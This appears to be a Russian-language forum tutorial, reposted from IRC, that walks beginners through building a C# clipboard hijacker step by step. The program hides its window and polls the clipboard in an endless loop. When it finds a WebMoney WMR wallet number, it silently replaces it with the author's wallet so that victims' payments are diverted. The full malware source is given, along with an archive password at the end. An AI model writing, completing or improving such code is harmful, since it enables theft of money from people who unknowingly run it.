Тема позаимствована с ирки (не реклама) ,далее выложу в первозданном виде и цитируя автора статьи. Создадим проект .Net 2.0 Console Application и придумаем незамысловатое название Дальше заходим в свойства проекта и в "Тип выходных данных:" ставим Приложение Windows Теперь проблем со скрытием окна приложения не будут,переходим к кодингу. Создадим статический метод start и добавим его в Main static void Main(string[] args) { start(); // } static void start() // { } Создадим цикл while с условием true,чтобы выполнялся бесконечно. Код: static void start() { while(true) // { } } Код static void Main(string[] args) { start(); // } static void start() // { } Создадим цикл while с условием true,чтобы выполнялся бесконечно. Код: static void start() { while(true) // { } } Создаем метод(не забываем про static) replace и вставим его в цикл while. static void start() { while(true) { replace(); // } } static void replace() { } Код static void start() { while(true) { replace(); // } } static void replace() { } Также сделаем заддержку для работы этого цикла. Подключим System.Threading и впишем Thread.Sleep(100); (в миллисекундах) static void start() { while(true) { Thread.Sleep(100); // replace(); } } Код static void start() { while(true) { Thread.Sleep(100); // replace(); } } Переходим уже к самой замене,для примера будет wmr кошелек Создадим глобальную статическую переменную string с названием wmr static string my_wmr = "R339005555555"; Код static string my_wmr = "R339005555555"; Переходим к методу replace Подключим System.Windows.Forms для работы с буффером обмена Чтобы не было проблем в дальнейшем нужно добавить такую строчку перед Main [STAThread] Код [STAThread] [STAThread] // static void Main(string[] args) { start(); } Код [STAThread] // static void Main(string[] args) { start(); } Создадим условие если буффер не имеет данных(текстовых) или равен "", то метод возвращается(return); static void replace() { if (Clipboard.GetText() == null || Clipboard.GetText()=="") // return; } Код static void replace() { if (Clipboard.GetText() == null || Clipboard.GetText()=="") // return; } Дальше задаем переменную которая будет равна буферу обмена string buffer = Clipboard.GetText(); Код string buffer = Clipboard.GetText(); static void replace() { if (Clipboard.GetText() == null || Clipboard.GetText()=="") return; string buffer = Clipboard.GetText(); // } Код static void replace() { if (Clipboard.GetText() == null || Clipboard.GetText()=="") return; string buffer = Clipboard.GetText(); // } Теперь самое сложное. Нужно сделать условие c проверкой буфера на наличие кошелька. Создадим статический метод bool с названием checkwmr,с параметром string text и в конце дописываем return false; static bool checkwmr(string text) { return false; } Код static bool checkwmr(string text) { return false; } Создадим условие если первая буква равна R и количество символов равно 13 то возвращается true [CODE] static bool checkwmr(string text) { if (text[0].ToString() == "R" && text.Length==13) // return true; return false; }[/CODE]Возвращаемся обратно к replace. Создаем условие если checkwmr с параметром buffer(буфер обмена) возвращает true и буфер не равен переменной my_wmr(наш кошелек),то происходит замена буфера обмена на переменную my_wmr(наш кошелек) [CODE] static void replace() { if (Clipboard.GetText() == null || Clipboard.GetText()=="") return; string buffer = Clipboard.GetText(); // if (buffer != my_wmr && checkwmr(buffer)) // { Clipboard.SetText(my_wmr); // Замена } }[/CODE] Тема рассчитана для новичков. Замечания приветствуются. пароль: kaidoz